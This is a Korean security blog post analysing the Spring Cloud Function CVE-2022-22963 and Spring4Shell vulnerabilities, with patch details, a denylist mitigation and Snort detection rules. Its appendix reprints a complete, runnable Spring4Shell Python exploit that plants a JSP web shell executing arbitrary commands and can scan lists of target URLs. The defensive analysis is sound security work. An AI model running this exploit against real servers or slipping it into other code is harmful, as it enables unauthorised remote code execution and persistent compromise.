KOROMOON

착한 사마리아인이 되고 싶습니다.

3/31/2022

CVE-2022-22963 취약점과 Spring4Shell 취약점 분석


( 1 ) 취약점 정의


하루 차이(03월 29일, 03월 30일)로 서로 다른 Spring 프로젝트와 관련된 두 가지 별개의 취약점이 공개됨.

둘은 관련이 없지만 두 취약점이 거의 동시에 공개되어 혼란스런 상황임.

(일부 커뮤니티나 사이트에 둘 취약점을 병행하여 잘못 기재한 상황이 발생함)

각각 취약점에 대한 설명은 아래와 같음.


1. CVE-2022-22963 취약점

- 정의 : Spring Cloud Function 원격 코드 실행 취약점으로 m09u3r 님에 의해 발견되어 보고되어 03월 29일에 공개됨.

- 심각도 : 보통

- 영향받는 제품

  + Spring Cloud Function 3.1.6 이하 버전

  + Spring Cloud Function 3.2.2 이하 버전

  + 지원되지 않는 이전 버전도 영향 받음


2. Spring4Shell 취약점

- 정의 : JDK(Java Development Kit) 9 이상의 Spring Core 원격 코드 실행 취약점으로 현재 CVE ID 는 할당되지 않은 상태임. CVE-2010-1622 의 우회해서 비롯된다고 Praetorian 사 엔지니어들이 말함. 2022년 03월 30일 KnownSec 404 보안팀의 Heige 연구원이 트위터에 PoC 실행 화면을 처음 공개하였으며 현재 삭제한 상태임. 그 뒤 Spring Framework 의 패치되지 않은 원격코드 실행 취약점에 대한 소문이 돌기 시작하여 이를 Spring Framework 의 Spring Core 모듈에 취약점 시연함.

- 심각도 : 심각

- 영향받는 제품 : JDK 9 이상의 Spring Core 모든 버전

                (JDK 8 이하의 경우 취약점의 영향을 받지 않으나 아직 확인된 사항은 없음)


참고로 Sping 은 Sping.io 사에 의해 유지 관리되며 소프트웨어 개발자가 엔터프라이즈 수준의 기능으로 Java 애플리케이션을 빠르고 쉽게 개발할 수 있도록 하는 인기 높은 애플리케이션 프레임워크임. 이후 이러한 애플리케이션을 Apache Tomcat과 같은 서버에 필요한 모든 종속성이 있는 독립 실행형 패키지로써 배포할 수 있음.




( 2 ) 취약점 분석


1. CVE-2022-22963 취약점


HTTP 요청 헤더의 spring.cloud.function.routing-expression 매개변수에 StandardEvaluationContext 클래스를 이용하여 Spring 표현 언어(SpEL)로 작성한 악의적인 코드 주입 및 실행이 가능한 취약점으로 유효성 검사 부재로 인해 발생함.


여기서 Spring 표현 언어(Spring Expression Language, 약자로 SpEL)란 Sping 모든 제품에서 사용할 수 있는 단일 표현 언어로 런타임에 개체 그래프 쿼리 및 조작을 지원하는 강력한 표현 언어임. 아래 링크 참조 바람.

SpEL 표현식 설명 링크 : 

https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/expressions.html


또한, StandardEvaluationContext 클래스는 etRootObject() 메서드나 생성자에 루트객체를 전달해서 평가에 사용할 루트객체를 지정함. 아래 링크 참조 바람.

StandardEvaluationContext 클래스 설명 링크 : 

https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/StandardEvaluationContext.html

https://12bme.tistory.com/551


< CVE-2022-22963 취약점 PoC 시연 화면 >


아래 파일 내용 중 패치 코드에서 볼 수 있듯 이 헤더 내용을 구문 분석하기 전에 유효성 검사를 수행하기 위해 isViaHeader 플래그가 추가됨.


패치 파일 경로 : spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java

패치 파일 링크 : 

https://github.com/spring-cloud/spring-cloud-function/commit/03db9baee65ba0ddcd2c2cbc1f4ebc3646a6872e#diff-01d5affef57305a3034bfb48185f34ae3d21f15e7f389851ac67035f7bd0dc7aR222


< CVE-2022-22963 취약점 패치 코드 >




2. Spring4Shell 취약점


문제가 되는 코드는 아래 파일 내용에서 확인할 수 있음.

아래 스크린샷에 나와 있는 코드는 다음 개체 그래프 경로를 재정의하지 못하도록 액세스 제한 시도함.

Class.getClassLoader() -> ClassLoader

Class.getProtectionDomain() -> ProtectionDomain


그러나 Class 객체가 이제 getModule() 메서드를 노출하기 때문에 공격자는 이제 다음과 같이 약간 다른 경로를 사용할 수 있음.

Class.getModule() -> Module -> Module.getClassLoader()


그래서 사용자에게 ClassLoader 속성의 제어 권한을 넘겨주는 결과를 초래하여 백도어 생성 등 악용하게 됨.


취약한 파일 경로 : 

spring-framework/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java

취약한 파일 링크 : 

https://github.com/spring-projects/spring-framework/blob/b595dc1dfad9db534ca7b9e8f46bb9926b88ab5a/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java#L288


< Spring4Shell 취약점 취약한 코드 >


Spring4Shell 취약점 PoC 코드는 아래 별첨을 참고 바람.




( 3 ) 취약점 방어


1. 업그레이드 및 패치가 필요함.

- CVE-2022-22963 취약점

  + Spring Cloud Function 3.1.7 버전 업그레이드

  + Spring Cloud Function 3.2.3 버전 업그레이드

- 현재 Spring4Shell 취약점 관련된 패치 파일은 없는 상태임.


2. Spring4Shell 취약점 가능여부 확인함.

- JDK 9 버전 이상 사용 유무

  + java –version 명령어를 통해 9 버전 이상의 JDK를 사용하고 있는지 확인

- Spring Framework 사용 유무

  + 프로젝트 내 "Spring-beans-.jar", "spring.jar", "CachedIntrospectionResuLts.class" 이 존재하는지 확인


3. Spring4Shell 취약점 임시 조치는 아래와 같음.

- 응용 시스템의 프로젝트 패키지 아래에 다음 전역 클래스를 생성하고 이 클래스가 Spring에 의해 로드되었는지 확인함. (Controller가 위치한 패키지에 추가하는 것이 좋음)

클래스가 추가된 후 프로젝트는 다음 작업을 수행해야 함.

기능 검증을 위해 재컴파일 > 패키징 > 테스트 > 프로젝트 재시작함.


import org.springframework.core.Ordered;

import org.springframework.core.annotation.Order;

import org.springframework.web.bind.WebDataBinder;

import org.springframework.web.bind.annotation.ControllerAdvice;

import org.springframework.web.bind.annotation.InitBinder;

 

@ControllerAdvice

@Order(10000)

public class BinderControllerAdvice {

@InitBinder

public void setAllowedFields(WebDataBinder dataBinder) {

String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."};

dataBinder.setDisallowedFields(denylist);

}

}


4. 아래와 같이 보안장비에 Snort 패턴을 등록하여 모니터링 및 대응함.

- CVE-2022-22963 취약점

alert tcp any any -> any any (msg:"KOROMOON_CVE-2022-22963_Vulnerability_Detected"; content:"|20|HTTP/"; content:"|0d 0a|spring.cloud.function.routing-expression|3a|"; content:".exec|28|";)


- Spring4Shell 취약점

alert tcp any any -> any any (msg:"KOROMOON_Spring4Shell_Vulnerability_Detected"; content:"POST /"; depth:6; content:"|20|HTTP/"; content:"|0d 0a 0d 0a|class.module.classLoader.resources.context.parent.pipeline.first.pattern"; content:".suffix"; content:".directory";)




별첨. 언더그라운드 해킹 채널에서 공유되고 있는 Spring4Shell 취약점 PoC 코드


#coding:utf-8

 

import requests

import argparse

from urllib.parse import urljoin

 

def Exploit(url):

    headers = {"suffix":"%>//",

                "c1":"Runtime",

                "c2":"<%",

                "DNT":"1",

                "Content-Type":"application/x-www-form-urlencoded"

 

    }

    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    try:

 

        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)

        shellurl = urljoin(url, 'tomcatwar.jsp')

        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)

        if shellgo.status_code == 200:

            print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")

    except Exception as e:

        print(e)

        pass

 

 

 

 

def main():

    parser = argparse.ArgumentParser(description='Srping-Core Rce.')

    parser.add_argument('--file',help='url file',required=False)

    parser.add_argument('--url',help='target url',required=False)

    args = parser.parse_args()

    if args.url:

        Exploit(args.url)

    if args.file:

        with open (args.file) as f:

            for i in f.readlines():

                i = i.strip()

                Exploit(i)

 

if __name__ == '__main__':

    main()




참고 사이트 : 




============================================================

본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.


댓글 1개: